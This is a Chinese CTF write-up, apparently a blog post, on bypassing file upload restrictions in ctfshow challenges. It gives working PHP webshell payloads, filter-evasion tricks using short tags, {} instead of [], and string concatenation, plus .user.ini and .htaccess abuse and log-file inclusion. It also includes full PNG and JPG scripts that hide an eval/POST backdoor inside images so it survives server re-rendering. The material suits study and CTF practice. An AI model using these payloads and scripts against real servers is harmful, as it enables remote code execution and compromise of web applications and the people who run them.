文件上传漏洞的基本上传思路

一、仅做前端检测,未做后端校验:(ctfshow-web152)

不允许上传 .php等格式的文件

1、禁用 javascript

2、先上传符合格式要求的 .png图片 --> Burpsuite修改后缀为 .php 绕过前端检测

二、.user.ini文件利用:(ctfshow-web153)

.user.ini的作用类似于 Apache服务器中的 .htaccess配置文件,但是 .user.ini仅仅适用于 .php文件。

.user.ini允许用户为特定目录定义 php配置指令,这些配置指令将在该目录,及该目录下的php文件执行时生效。
image

1、未对传入的内容做任何的过滤措施:

(1) 首先上传 .user.ini文件,命令如下:
auto_prepend_file = 1.png

(2) 上传 1.png图片马:
image

(3) 最后访问 http://xxxx.com/upload/index.php 路径:

自动执行 1.png图片马中的一句话木马生成后门,访问后门即可拿到flag

2、后端校验过滤不严密:

(1) 过滤 'php':

使用php短标签绕过:(shell命令使用反引号)
<?='ls ../'?>
<?='tag ../flag.php'?>

(2) 过滤[]导致无法写入一句话木马:

使用{}代替[]:
<?php @eval($_GET{1});?>

3、.user.ini配合 access.log文件包含:

当 php、反引号、()、{}、[]都被过滤时,可以考虑利用文件包含配合 .user.ini外带出flag

Nginx日志默认存储路径为-->/var/nginx/log/access.log

(1) 先利用.user.ini将1.png包含:
auto_prepend_file = 1.png

(2) 再利用 1.png进行文件包含:
<?include"/var/log/nginx/access.log"?>

若 'log'等关键字 被过滤,则可以考虑使用拼接语句:
<?include"/var/lo"."g/nginx/access.l"."og"?>

三、图片二次渲染:

上传图片后,服务器可能会对图片进行增删改查操作,导致我们写入图片的后门代码失效,这时就需要使用到二次渲染,将后门代码写入到不会被修改的地方。

1、PNG图片二次渲染:

PNG图片二次渲染脚本如下-->png.php:

$p = array(
   0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
   0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
   0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
   0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
   0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
   0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
   0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
   0x66, 0x44, 0x50, 0x33
);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y + 1];
   $b = $p[$y + 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, './2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */ 

2、JPG图片二次渲染:

JPG图片二次渲染脚本如下:

    $miniPayload = "<?=eval(\$_POST[1]);?>";
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }?>

cmd命令行中操作:php jpg.php 1.jpg

四、.htaccess配置文件上传:

.htaccess 是 Apache服务器的配置文件,.htaccess配置文件可以将 .png图片当作 .php文件解析。

(1) 上传 .htaccess文件,内容为:
AddType application/x-httpd-php .png

(2) 上传 .png图片马,写入后门代码,服务器会将.png图片马当作 .php文件解析

posted @ 2024-08-14 12:06  OneCoffee  阅读(11)  评论(0编辑  收藏  举报